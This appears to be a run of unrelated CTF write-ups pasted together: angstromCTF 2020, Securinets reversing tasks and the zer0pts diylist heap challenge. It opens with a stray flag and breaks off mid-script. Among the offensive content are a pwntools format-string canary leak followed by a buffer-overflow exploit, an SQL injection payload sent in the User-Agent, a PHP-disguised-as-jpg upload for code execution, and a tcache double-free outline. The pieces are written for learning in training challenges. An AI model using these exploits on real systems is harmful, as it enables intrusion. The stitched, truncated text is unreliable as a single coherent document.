Flag: ``` actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} ``` --- ## msd#### Misc (140 points) ### Description:> **You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the [Most Significant Digit](msb/public.py). Can you still power through it?Here's the [encoded image](msb/output.png), and here's the [original image](msb/breathe.jpg), for the... well, you'll see.Important: Don't use Python 3.8, use an older version of Python 3!** > *Hint: Look at the difference between the original and what I created!> Also, which way does LSB work?* ### solution:Nice, so before anything .. we have an original photo ```breathe.jpg```:![original image](msb/breathe.jpg) that has been encoded to ```output.png```:![encoded image](msb/output.png) using ```public.py``` script:```pythonfrom PIL import Image im = Image.open('breathe.jpg')im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT"flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png")pixels = im.load()``` By reading the script provided we conclude:1. flag variable has the decimal values of the characters of the flag ```(ex: "abc" -> "979899")```2. the for loop reads the pixels from top to bottom for each column in the photo starting from top left3. the first pixel in the photo it's first digit from the left "MSD" is replaced with the first digit from the left in the flag variable and the second pixel with the second digit in the flag, etc.. until the flag decimal values ends and then it starts over from the beggining of the flag, etc.. So if the pixel is ``` 104 ``` and the digit from flag decimal representition is ```2``` the pixel becomes ``` 204 ``` But there's a problem .. if the digit is 9 the pixel can not be ``` 904 ``` because the most value that can be stored to the pixel is ```255``` so in this case this digit is lost ... So the reversing of the code will be as follows:1. read the pixels of ``` output.png ```and ``` breathe.jpg ``` in the same direction as in the encryption process2. for each corresponding pixels compare the pixel of ```output.png``` with the pixel of ``` breathe.jpg ``` - if the 2 pixels have the same length AND the encrypted pixel is not equal 255, then get the first digit from left of the encrypted pixel (ex: 104, 204 -> 2) - if the length of the encrypted pixel is less than the length of the original pixel, then put a zero (ex: 123, 23 -> 0) - else then it's a lost digit and put 'x' to recognize it I wrote a script that can iterate through the whole image and do this decryption process: ```pythonfrom PIL import Image imorg = Image.open("breathe.jpg")im = Image.open('output.png') width, height = im.size def getchar(a, b): char = [] # to iterate through the RGB values of the one pixel for i in range(0, 3): x = list(str(a[i])) y = list(str(b[i])) if len(x) == len(y) and b[i] != 255: char.append(y[0]) elif len(y) < len(x): char.append('0') else: char.append('x') return ''.join(char) all = '' for j in range(height): for i in range(width): all += getchar(imorg.getpixel((i, j)), im.getpixel((i, j))) # since we know the first 5 letters of the flag "actf{" -> "9799116102123"pos = all.find('9799116102123')print(all[pos:pos+100])``` Now be running it:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810x10x103121104xxxx1x11```I used this [site](https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html) to decrypt the result after seperating the digits manually and the result was ``` actf{inhale_exhale_ezpz-12309b ``` .. it seems we got only a part of the flag but there are lost bits .. so we need to add the following couple of lines in our python script to print the next occurence of the flag```pythonpos = all.find('9799116102123')posnext = all.find('9799116', pos+1)print(all[posnext:posnext+100])```And by running again:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810510310312110497981211```Great! There are no lost bits .. Now decrypting again using the same site and yeah, we got the flag! Flag: ``` actf{inhale_exhale_ezpz-12309biggyhaby} ```
# CHANGE The binary `task` is a python compiled script. We use pyi-archive-viewer to extract embedded python script. We add `03 f3 0d 0a 6c e7 a3 5b` at the beginning of pyc file since its pytnon2.7.If it was python3+ we would add `42 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00` After that we use `uncompyle6` to convert pyc into python script. task.py: ```python# uncompyle6 version 3.6.3# Python bytecode 2.7 (62211)# Decompiled from: Python 3.6.9 (default, Nov 7 2019, 10:44:02) # [GCC 8.3.0]# Embedded file name: task.py# Compiled at: 2018-09-20 21:31:08from hashlib import md5from base64 import b64decodefrom base64 import b64encodefrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesimport random class cipher: __module__ = __name__ def __init__(self, key): self.key = md5(key.encode('utf8')).digest() self.padd = 0 def encrypt(self, data): iv = get_random_string('AAAAAAAAAAAAAAAA') self.cipher = AES.new(self.key, AES.MODE_CBC, iv) ta = self.cipher.encrypt(self.pad(data)) return b64encode(iv + ta) def decrypt(self, data): raw = b64decode(data) self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) x = self.cipher.decrypt(raw[AES.block_size:]) return self.unpad(x) def pad(self, strr): x = 16 - len(strr) % 16 final = strr + chr(x) * x self.padd = x return final def unpad(self, strr): return strr[:len(strr) - self.padd] def get_random_string(strr): ch = '' for i in range(len(strr)): ch += chr(random.randint(23, 255)) return ch def phase1(arg1, arg2): res = '' for i in range(len(arg1)): res += chr(ord(arg1[i]) ^ ord(arg2[i])) return res def main(): random.seed(2020) last_ci = 'tMGb4+vbwHmn1Vq826krTWNtO0YHhOxrgz0SxBmsKiiV6/PlMyy1cavIOWuyCo8agFAOSDZhDY9OLXaKDqiFGA==' last_ci = b64decode(last_ci) print 'Welcome to SECURINETS CTF!' username = raw_input('Please enter the username:') password = raw_input('Please enter the password:') cipher1 = username + password tmp = get_random_string(cipher1) res = phase1(cipher1, tmp) cipher2 = '' for i in range(len(cipher1)): cipher2 += chr(ord(res[i]) + 1) cipher2 = cipher2[::-1] tool = cipher('securinets') last_c = tool.encrypt(cipher2) last_c = b64decode(last_c) if last_c == last_ci: print 'Good job!\nYou can submit with securinets{%s}' % (username + ':' + password) else: print ':( ...' if __name__ == '__main__': main()# okay decompiling go.pyc ``` To get the flag, our goal is to do everything in reverse: ```pythondef solve(): last_ci = 'tMGb4+vbwHmn1Vq826krTWNtO0YHhOxrgz0SxBmsKiiV6/PlMyy1cavIOWuyCo8agFAOSDZhDY9OLXaKDqiFGA==' random.seed(2020) tool = cipher('securinets') tool.padd = 8 last_ci = tool.decrypt(last_ci) last_ci = last_ci[::-1] # unpaded & reversed #print(last_ci) cipher2 = '' for i in last_ci: cipher2 += chr(ord(i) -1) tmp = get_random_string(cipher2) print(phase1(cipher2, tmp)) ``` gives `h4rdc0r362782cb85ba466014d649915072c85ee` So, after asking admin, he said the that the flag is `securinets{h4rdc0r3:62782cb85ba466014d649915072c85ee}`
# diylist 453pt ?solves ## TLDR* tcache double free * overwrite free hook ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Stripped result of checksec* RELRO : Partial RELRO* Canary : Enable* NX : Enable* PIE : Disable libc version: 2.27 (not distributed) ### Exploit We can add the value which of type is long or double or string(char pointer) to the original list structure. And also, we can get, delete and edit the element of the list with given index and type. There is some bugs in this binary.One of that we can get the element with type distinct from added one.So, if we add an element with type of string and get one with type of long, we can get the address of string which is located in heap area.And we add an element with type of long and get one with type of string, we can get the value of arbitary located memroy.I use this bug to leak the libc address. Used libc in this challenge is not distributed.So I use libc.blukat.me to specify version of libc. Another bug is in delete function.Type of string is managed with another list (named fpool) to memory the address.If we add an element which of type is string, the address of that is added to fpool.But, if we delete an element which of type is string, no element is deleted from fpool.I use this bug to trigger tcache double free. My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/zer0pts/pwn/diylist/solve.py). ## Referencehttps://libc.blukat.me/
# angstromCTF 2020###### tags: `Course` ## pwn ### Canary flag: actf{youre_a_canary_killer_>:(}string format problem: leak canary with string format then bof payload: ```lang=cfrom pwn import *flag = p64(0x400787)r = remote('shell.actf.co',20701)print(r.recvuntil(" name? "))payload = '%17$p'r.sendline(payload)data = r.recvuntil("\n")canary = data.split(',')[-1].strip()[:-1]canary_int = p64(int(canary,16))print(r.recvuntil("Anything else you want to tell me? "))payload = "a"*56 + canary_int + 'b'*8 + flagr.sendline(payload)r.interactive()``` #### Reference[format string wiki](https://en.wikipedia.org/wiki/Printf_format_string)kaibro edu-ctf[ctf wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/)[format string course](https://github.com/qazbnm456/ctf-course/blob/master/slides/w4/format-string.md) ### BOP it! (Not solved) memory leak with null bytes https://github.com/r00tstici/writeups/blob/master/angstromCTF_2020/bop_it/README.md ## Web ### Consolation flag: actf{you_would_n0t_beli3ve_your_eyes} given a js file below, just find the function that would output the flag ```lang=cconsole[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*'));``` ### Secret agent flag: actf{nyoom_1_4m_sp33d} simple sql injection(mysql) which reads the payload from user-agent field. 1. Utilize burp-suite to intercept requests.2. Modify the user-agent to the payload below. payload > Roselia' or 1=1 limit 2,1 # ### xmass still stand - not solved xss attackpayload: > ### Defund's Crypt - not solved LFI attack(rce not reverse shell)upload php file and changes the MIME type and extension to jpgVisit the php file to rce ## Reverse ### Windows of Opportunity flag: actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r} simply use idapro and will find the flag ### Autorev, Assemble! - Not solved hundreds of functions with simple comparisonconstruct the string based on the given functions utilize angr to solve the challenge [Reference](https://github.com/archercreat/CTF-Writeups/blob/master/angstromctf/rev/Autorev%2C%20Assemble!/README.md) ### patcherman - Not Solved patch program(section issue) ## Networking ### wireshark-2 flag: actf{ok_to_b0r0s-4809813} reconstruct the jpeg file to gain the flag. After inspect the traffic, you'll find a packet with images, extract the image from the packet. ![](https://i.imgur.com/IIucaLx.png) #### tools & reference [wireshark refrence psh,ack](https://osqa-ask.wireshark.org/questions/20423/pshack-wireshark-capture) [repair jpeg](https://online.officerecovery.com/pixrecovery/) [eof of jpeg](https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images) ### ws3 flag: actf{git_good_git_wireshark-123323} Git packfile reconstruction Given a pcap file. Inspect the pcap file than you will find several http request / response related to git-receive packet and git-response packet.These traffic are request and response of files in git directory. To be more specific, the users are trying to fetch the data from remote repo. [git fetching mechanism](https://stackoverflow.com/questions/27430312/what-does-git-fetch-really-do) basically, client will first invoke upload-pack to remote repo, the repo will then compare the latest packfile with the uploaded one. Eventuall,y the repo will return those commit, objects that client lack to the client In conclusion, those objects / commit received from repo contains the flag. This is the main commit / objects. ![](https://i.imgur.com/6BpFvYh.png) After reassemble the whole packet, retrieve the packet start from PACK to the end. This will be our packfile.Save the packfile to .pack extension. run the command to gain the idx file > git index-pack *.pack follow this youtube vedio to reconstruct the objects https://www.youtube.com/watch?v=cauIy20JhFs Then simply run git cat-file -p to gain the flag ![](https://i.imgur.com/2BIgoJq.jpg) #### reference [hex to binary](https://tomeko.net/online_tools/hex_to_file.php?lang=en) [git packfile doc](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) [packfile structure-1](https://codewords.recurse.com/issues/three/unpacking-git-packfiles) [packfile structure-2](http://shafiul.github.io/gitbook/7_the_packfile.html) [unpack packfile](https://www.youtube.com/watch?v=cauIy20JhFs) [git command](https://www.juduo.cc/technique/62040.html) [git unpack-objects](https://git-scm.com/docs/git-unpack-objects) ## misc ### inputter flag: actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} reverse the code and input the argument with pwntools(arguments are not printable) We have to solve this challenge through logging the shell and run the program. Since the argv argument nor the fgets target is printable asciiwe should use pwnlib to tackle the unprintable ascii input issue ```lang=cfrom pwn import *r = process(["./inputter"," \n'\"\a"])r.sendline("\0")print(r.recv())``` ### Shifter flag:actf{h0p3_y0u_us3d_th3_f0rmu14-1985098} simply implement ceasar cipher + dynamic programming ## Crypto ### keysar flag: actf{yum_delicious_salad} keyed ceasar: http://rumkin.com/tools/cipher/caesar-keyed.php ### Confused Streaming (Not solved) Lots of meaning less function, just simply give input a,b,c which are valid parameter for a quadratic formula(二次方程式) ### One-Time bed (Not solved) OTP with random(time.time()) vulnerability. Same seed generate same random numberHowever, failed to use the right seed, not any clue why it doesn't work.In this challenge, we can simply utilize brute force or multiple connection to solve the problem. [brute force](https://masrt200.github.io/hacker-blog/Angstrom-CTF)[multiple connection](https://ctftime.org/writeup/18932)
# static EYELESS (44 solves) > Maths, Maths, Maths,.... >> Authors : KERRO & Anis_Boss The main function is a bit obfuscated: ```c++void main(int a1, char **a2, char **a3){ double __21; // xmm3_8 __int64 v4; // kr00_8 int i; // [rsp+10h] [rbp-230h] int j; // [rsp+10h] [rbp-230h] int check; // [rsp+14h] [rbp-22Ch] __int64 v8; // [rsp+20h] [rbp-220h] __int64 v9; // [rsp+28h] [rbp-218h] __int64 v10; // [rsp+28h] [rbp-218h] __int64 v11; // [rsp+28h] [rbp-218h] int xor_ar[52]; // [rsp+50h] [rbp-1F0h] char key[200]; // [rsp+120h] [rbp-120h] char s[56]; // [rsp+1F0h] [rbp-50h] unsigned __int64 v15; // [rsp+228h] [rbp-18h] memset(key, 0, sizeof(key)); key[0] = 0xD1; key[4] = 0x1E; key[8] = 0xDB; key[12] = 0xFB; key[16] = 0x74; key[20] = 0xCB; key[24] = 0x15; key[28] = 0xDD; key[32] = 0xFA; key[36] = 0x75; key[40] = 0xD9; key[44] = 0x4B; key[48] = 0xDA; key[52] = 0xE8; key[56] = 0x73; key[60] = 0xD1; key[64] = 0x4F; key[68] = 0xCC; key[72] = 0xE7; key[76] = 0x36; key[80] = 0xCC; key[84] = 0x4E; key[88] = 0xE7; key[92] = 0xFC; key[96] = 0x36; key[100] = 0xC1; key[104] = 0x10; key[108] = 0x8D; key[112] = 0xAF; key[116] = 0x7B; key[120] = 0xA8; __21 = 21(); v9 = (((*key * (((0x1E - 1.0) * 251() + 58.0) * *&key[16] + 110) + 141.0) * __21 + 20.0) * (*&key[4] - 20)) >> (key[4] - 22); puts("Hello REVERSER!"); v10 = 49406 * v9 * (ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) + 1); printf("Give me the passcode:"); v4 = v10; v11 = v10 / 0x100; v8 = v4 / 0x100; fgets(s, 49, stdin); check = 0; for ( i = 0; i < strlen(s); ++i ) { if ( !v8 ) v8 = v11; xor_ar[i] = v8 ^ s[i]; v8 >>= 8; } for ( j = 0; j <= 29; ++j ) check += xor_ar[j] ^ *&key[4 * j] | 1; if ( check == -(ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) * (*&key[4] + (0x123456 << (key[4] - 26) >> (key[0] + 72)) - (0x654321 << (key[4] - 26) >> (key[0] + 72)) + 3)) ) puts("Good job!"); else printf("NOOOOOOOO");}``` After some debugging I came up with this algorithm: ```pythonkey = [ 0xd1, 0x1e, 0xdb, 0xfb, 0x74, 0xcb, 0x15, 0xdd, 0xfa, 0x75, 0xd9, 0x4b, 0xda, 0xe8, 0x73, 0xd1, 0x4f, 0xcc, 0xe7, 0x36, 0xcc, 0x4e, 0xe7, 0xfc, 0x36, 0xc1, 0x10, 0x8d, 0xaf, 0x7b, 0xa8, 0x00] magic = [ 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b] flag_len = 30 def algo(): inp = str(input()) check = 0 for i in range(len(inp)): check += (magic[i] ^ ord(inp[i]) ^ key[i]) | 1 if check == 30: print('goodboy') else: print('no :(')``` Now we use z3 to find the flag: ```pythonfrom z3 import *import sys key = [ 0xd1, 0x1e, 0xdb, 0xfb, 0x74, 0xcb, 0x15, 0xdd, 0xfa, 0x75, 0xd9, 0x4b, 0xda, 0xe8, 0x73, 0xd1, 0x4f, 0xcc, 0xe7, 0x36, 0xcc, 0x4e, 0xe7, 0xfc, 0x36, 0xc1, 0x10, 0x8d, 0xaf, 0x7b, 0xa8, 0x00] magic = [ 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b, 0xb8, 0x8e, 0x06, 0xa2, 0x7b] flag_len = 30 def main(): s = Solver() check = 0 for i in range(flag_len): globals()['b%d' % i] = BitVec('b%d' % i, 32) s.add(globals()['b%d' % i] > 32, globals()['b%d' % i] < 127) for i in range(flag_len): c = magic[i] ^ globals()['b%d' % i] check += (c ^ key[i]) | 1 s.add(globals()['b0'] == ord('s')) s.add(globals()['b1'] == ord('e')) s.add(globals()['b2'] == ord('c')) s.add(globals()['b3'] == ord('u')) s.add(globals()['b4'] == ord('r')) s.add(globals()['b5'] == ord('i')) s.add(globals()['b6'] == ord('n')) s.add(globals()['b7'] == ord('e')) s.add(globals()['b8'] == ord('t')) s.add(globals()['b9'] == ord('s')) s.add(globals()['b10'] == ord('{')) s.add(globals()['b29'] == ord('}')) s.add(check == 30) find_all_posible_solutions(s) def find_all_posible_solutions(s): while s.check() == sat: model = s.model() block = [] out = '' for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out) if __name__ == "__main__": sys.exit(main())``` The script yields bunch of flags... ```securinets{0cftr4uh0o4_r1bk4!}securinets{0bftr4ui1n4^r0bk4!}securinets{0bfur4uh0o4_s1ck4!}securinets{0cfur5ui0n4_s0bj4!}securinets{0cftr4uh0n4^r1ck4!}securinets{0bftr4ui1o4_r0ck4!}securinets{0cfur5uh1n4_s1cj4!}securinets{0cfur4ui0o4^s0ck4!}securinets{0bftr4uh1o4^r1bj4!}securinets{0cftr4ui1n4_r0bj4!}securinets{0bfur4uh0o4^s1cj4!}``` So, we should add more constraints... ```pythons.add(globals()['b11'] == ord('0'))s.add(globals()['b12'] == ord('b'))s.add(globals()['b13'] == ord('f'))s.add(globals()['b14'] == ord('u'))s.add(globals()['b15'] == ord('s')) s.add(globals()['b14'] == ord('u'))s.add(globals()['b22'] == ord('_'))s.add(globals()['b23'] == ord('r'))s.add(globals()['b24'] == ord('0'))s.add(globals()['b25'] == ord('c'))s.add(globals()['b26'] == ord('k'))s.add(globals()['b27'] == ord('5'))s.add(globals()['b28'] == ord('!'))s.add(globals()['b29'] == ord('}'))``` After that we still get tons of results but I somehow found that the flag is `securinets{0bfus4ti0n5_r0ck5!}` ¯\\_(ツ)_/¯
# static EYELESS REVENGE (11 solves) > They can't see me Roliiiiiiing... >> Authors : KERRO & Anis_Boss This time we are given binary written in go.. main: ```c++void __noreturn check(){ int v0; // eax int i; // [rsp+0h] [rbp-380h] int j; // [rsp+4h] [rbp-37Ch] int v3; // [rsp+8h] [rbp-378h] int k; // [rsp+Ch] [rbp-374h] int l; // [rsp+10h] [rbp-370h] int _check; // [rsp+14h] [rbp-36Ch] int m; // [rsp+18h] [rbp-368h] __int64 v8; // [rsp+20h] [rbp-360h] int rand[52]; // [rsp+30h] [rbp-350h] int v10[52]; // [rsp+100h] [rbp-280h] int v11[50]; // [rsp+1D0h] [rbp-1B0h] char hello[56]; // [rsp+2A0h] [rbp-E0h] char hello_1[56]; // [rsp+2E0h] [rbp-A0h] char buffer; // [rsp+320h] [rbp-60h] _BYTE v15[7]; // [rsp+321h] [rbp-5Fh] _BYTE inp[5]; // [rsp+32Bh] [rbp-55h] unsigned __int64 v17; // [rsp+368h] [rbp-18h] v17 = __readfsqword(0x28u); memset(v11, 0, sizeof(v11)); v11[0] = 0xF6; v11[1] = 0x9B; v11[2] = 5; v11[3] = 0xFE; v11[4] = 0x36; v11[5] = 0xA3; v11[6] = 0x3E; v11[7] = 0x93; v11[8] = 0xC8; v11[9] = 0x2C; v11[10] = 0xB2; v11[11] = 0x6E; v11[12] = 0x33; v11[13] = 0x7C; v11[14] = 0x93; v11[15] = 0x2A; v11[16] = 0xC4; v11[17] = 0x6E; v11[18] = 0xA4; v11[19] = 0xF; v11[20] = 0x8C; v11[21] = 0xD8; v11[22] = 0x7D; v11[23] = 0xDF; v11[24] = 0xAE; v11[25] = 0xC6; v11[26] = 0x7C; v11[27] = 0xD7; v11[28] = 0xEF; v11[29] = 0xA5; v11[30] = 0x71; v11[31] = 0x48; v11[32] = 0xC8; v11[33] = 0x49; v11[34] = 0x3A; v11[35] = 0xB2; v11[36] = 0x78; v11[37] = 0xF5; v11[38] = 0xCC; v11[39] = 0xBE; v11[40] = 0x9A; v11[41] = 0x47; v11[42] = 0xD2; v11[43] = 0x87; v11[44] = 0x10; v11[45] = 0xFD; v11[46] = 0x78; v11[47] = 0x1D; *(_QWORD *)hello = '\xCE\x8B\x83\x81\x8D\x82\x8B\xB9'; *(_QWORD *)&hello[8] = '\xBC\xBB\xAD\xAB\xBD\xCE\x81\x9A'; *(_QWORD *)&hello[16] = '\xBA\xAD\xCE\xBD\xBA\xAB\xA0\xA7'; *(_QWORD *)&hello[24] = '\xCF\xA8'; *(_QWORD *)&hello[32] = '\0'; *(_QWORD *)&hello[40] = '\0'; *(_WORD *)&hello[48] = '\0'; for ( i = 0; i < strlen(hello); ++i ) hello[i] ^= 0xEEu; puts_0((__int64)hello); *(_QWORD *)hello_1 = '\xCE\x8B\x83\xCE\x8B\x98\x87\xA9'; *(_QWORD *)&hello_1[8] = '\x9D\x9D\x8F\x9E\xCE\x8B\x86\x9A'; *(_QWORD *)&hello_1[16] = '\xD4\x8B\x9D\x8F\x9C\x86\x9E'; *(_QWORD *)&hello_1[24] = '\0'; *(_QWORD *)&hello_1[32] = '\0'; *(_QWORD *)&hello_1[40] = '\0'; *(_WORD *)&hello_1[48] = '\0'; for ( j = 0; j < strlen(hello_1); ++j ) hello_1[j] ^= 0xEEu; puts((char)hello_1); fgets(&buffer, 70LL, off_6FF088); v3 = 0; while ( buffer != 's' ) ++v3; v8 = 0xDEADBEEFLL * (int)sub_400488((__int64)v15, (__int64)"ecurinets{", 10LL); while ( v8 ) puts((char)" SECURINETS FTW! "); seed(buffer); for ( k = 0; k <= 49; ++k ) { v0 = rand(); rand[k] = (unsigned __int8)to_char(v0); } for ( l = 0; l < strlen(inp); ++l ) v10[l] = rand[l] ^ (char)inp[l]; _check = 0; for ( m = 0; m <= 47; ++m ) _check += v11[m] ^ v10[m]; if ( _check ) puts_0((__int64)"NOOOOOOO"); else puts((char)"Good Job!\nsubmit with\n%s", &buffer); sub_4240C0(0LL);}``` First, program checks if our input starts with **securinets{**, after that it sends 's' to srand as a seed After that it checks: **input[i] ^ key[i] ^ rand_seq[i] == 0** Solution: ```python import sysfrom z3 import * key = [ 0xf6, 0x9b, 0x05, 0xfe, 0x36, 0xa3, 0x3e, 0x93, 0xc8, 0x2c, 0xb2, 0x6e, 0x33, 0x7c, 0x93, 0x2a, 0xc4, 0x6e, 0xa4, 0x0f, 0x8c, 0xd8, 0x7d, 0xdf, 0xae, 0xc6, 0x7c, 0xd7, 0xef, 0xa5, 0x71, 0x48, 0xc8, 0x49, 0x3a, 0xb2, 0x78, 0xf5, 0xcc, 0xbe, 0x9a, 0x47, 0xd2, 0x87, 0x10, 0xfd, 0x78, 0xd1] # random seq given 's' as a seedseq = [ 0x9f, 0xc4, 0x77, 0xcd, 0x02, 0xcf, 0x52, 0xea, 0x97, 0x4e, 0x81, 0x02, 0x02, 0x4f, 0xe5, 0x19, 0x9b, 0x5f, 0xca, 0x50, 0xf9, 0xaa, 0x22, 0xb9, 0xdb, 0xb2, 0x09, 0xa5, 0xdc, 0xfa, 0x03, 0x7b, 0xbe, 0x7a, 0x48, 0xc1, 0x49, 0x9b, 0xab, 0xe1, 0xe9, 0x2c, 0xe3, 0xeb, 0x7c, 0xc8, 0x05, 0x17, 0x27, 0xcf] flag_len = 48 def find_all_posible_solutions(s): while s.check() == sat: model = s.model() block = [] out = '' for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out) def main(): s = Solver() check = 0 for i in range(flag_len): globals()['b%d' % i] = BitVec('b%d' % i, 8) for i in range(flag_len): s.add(globals()['b%d' % i] ^ seq[i] ^ key[i] == 0) find_all_posible_solutions(s) if __name__ == "__main__": sys.exit(main()) ``` gives the flag `i_r34lly_b3l13v3_1n_ur_futur3_r3v3rs1ng_sk1ll5}`
just a solution code, I think everything is clear ```from pwn import *import numpy as np standard_dic = { '$': u' _ \n | | \n/ __)\n\\__ \\\n( /\n |_| \n', '(': u' __\n / /\n| | \n| | \n| | \n \\_\\\n', ',': u' \n \n \n _ \n( )\n|/ \n', 'O': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\___/ \n \n', '4': u' _ _ \n| || | \n| || |_ \n|__ _|\n |_| \n \n', '8': u' ___ \n ( _ ) \n / _ \\ \n| (_) |\n \\___/ \n \n', '<': u' __\n / /\n/ / \n\\ \\ \n \\_\\\n \n', '@': u' ____ \n / __ \\ \n / / _` |\n| | (_| |\n \\ \\__,_|\n \\____/ \n', 'D': u' ____ \n| _ \\ \n| | | |\n| |_| |\n|____/ \n \n', 'H': u' _ _ \n| | | |\n| |_| |\n| _ |\n|_| |_|\n \n', 'L': u' _ \n| | \n| | \n| |___ \n|_____|\n \n', 'P': u' ____ \n| _ \\ \n| |_) |\n| __/ \n|_| \n \n', 'T': u' _____ \n|_ _|\n | | \n | | \n |_| \n \n', 'X': u'__ __\n\\ \\/ /\n \\ / \n / \\ \n/_/\\_\\\n \n', '\\': u'__ \n\\ \\ \n \\ \\ \n \\ \\ \n \\_\\\n \n', '`': u' _ \n( )\n \\|\n \n \n \n', 'd': u' _ \n __| |\n / _` |\n| (_| |\n \\__,_|\n \n', 'h': u" _ \n| |__ \n| '_ \\ \n| | | |\n|_| |_|\n \n", 'l': u' _ \n| |\n| |\n| |\n|_|\n \n', 'p': u" \n _ __ \n| '_ \\ \n| |_) |\n| .__/ \n|_| \n", 't': u' _ \n| |_ \n| __|\n| |_ \n \\__|\n \n', 'x': u' \n__ __\n\\ \\/ /\n > < \n/_/\\_\\\n \n', '|': u' _ \n| |\n| |\n| |\n| |\n|_|\n', '#': u' _ _ \n _| || |_ \n|_ .. _|\n|_ _|\n |_||_| \n \n', "'": u' _ \n( )\n|/ \n \n \n \n', '+': u' \n _ \n _| |_ \n|_ _|\n |_| \n \n', '/': u' __\n / /\n / / \n / / \n/_/ \n \n', '3': u' _____ \n|___ / \n |_ \\ \n ___) |\n|____/ \n \n', '7': u' _____ \n|___ |\n / / \n / / \n /_/ \n \n', ';': u' \n _ \n(_)\n _ \n( )\n|/ \n', '?': u' ___ \n|__ \\\n / /\n |_| \n (_) \n \n', 'C': u' ____ \n / ___|\n| | \n| |___ \n \\____|\n \n', 'G': u' ____ \n / ___|\n| | _ \n| |_| |\n \\____|\n \n', 'K': u" _ __\n| |/ /\n| ' / \n| . \\ \n|_|\\_\\\n \n", 'O': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\___/ \n \n', 'S': u' ____ \n/ ___| \n\\___ \\ \n ___) |\n|____/ \n \n', 'W': u'__ __\n\\ \\ / /\n \\ \\ /\\ / / \n \\ V V / \n \\_/\\_/ \n \n', '[': u' __ \n| _|\n| | \n| | \n| | \n|__|\n', '_': u' \n \n \n \n _____ \n|_____|\n', 'c': u' \n ___ \n / __|\n| (__ \n \\___|\n \n', 'g': u' \n __ _ \n / _` |\n| (_| |\n \\__, |\n |___/ \n', 'k': u' _ \n| | __\n| |/ /\n| < \n|_|\\_\\\n \n', 'o': u' \n ___ \n / _ \\ \n| (_) |\n \\___/ \n \n', 's': u' \n ___ \n/ __|\n\\__ \\\n|___/\n \n', 'w': u' \n__ __\n\\ \\ /\\ / /\n \\ V V / \n \\_/\\_/ \n \n', '{': u' __\n / /\n | | \n< < \n | | \n \\_\\\n', '"': u' _ _ \n( | )\n V V \n \n \n \n', '&': u' ___ \n ( _ ) \n / _ \\/\\\n| (_> <\n \\___/\\/\n \n', '*': u' \n__/\\__\n\\ /\n/_ _\\\n \\/ \n \n', '.': u' \n \n \n _ \n(_)\n \n', '2': u' ____ \n|___ \\ \n __) |\n / __/ \n|_____|\n \n', '6': u" __ \n / /_ \n| '_ \\ \n| (_) |\n \\___/ \n \n", ':': u' \n _ \n(_)\n _ \n(_)\n \n', '>': u'__ \n\\ \\ \n \\ \\\n / /\n/_/ \n \n', 'B': u' ____ \n| __ ) \n| _ \\ \n| |_) |\n|____/ \n \n', 'F': u' _____ \n| ___|\n| |_ \n| _| \n|_| \n \n', 'J': u' _ \n | |\n _ | |\n| |_| |\n \\___/ \n \n', 'N': u' _ _ \n| \\ | |\n| \\| |\n| |\\ |\n|_| \\_|\n \n', 'R': u' ____ \n| _ \\ \n| |_) |\n| _ < \n|_| \\_\\\n \n', 'V': u'__ __\n\\ \\ / /\n \\ \\ / / \n \\ V / \n \\_/ \n \n', 'Z': u' _____\n|__ /\n / / \n / /_ \n/____|\n \n', '^': u' /\\ \n|/\\|\n \n \n \n \n', 'b': u" _ \n| |__ \n| '_ \\ \n| |_) |\n|_.__/ \n \n", 'f': u' __ \n / _|\n| |_ \n| _|\n|_| \n \n', 'j': u' _ \n (_)\n | |\n | |\n _/ |\n|__/ \n', 'n': u" \n _ __ \n| '_ \\ \n| | | |\n|_| |_|\n \n", 'r': u" \n _ __ \n| '__|\n| | \n|_| \n \n", 'v': u' \n__ __\n\\ \\ / /\n \\ V / \n \\_/ \n \n', 'z': u' \n ____\n|_ /\n / / \n/___|\n \n', '~': u' /\\/|\n|/\\/ \n \n \n \n \n', '!': u' _ \n| |\n| |\n|_|\n(_)\n \n', '%': u' _ __\n(_)/ /\n / / \n / /_ \n/_/(_)\n \n', ')': u'__ \n\\ \\ \n | |\n | |\n | |\n/_/ \n', '-': u' \n \n _____ \n|_____|\n \n \n', '1': u' _ \n/ |\n| |\n| 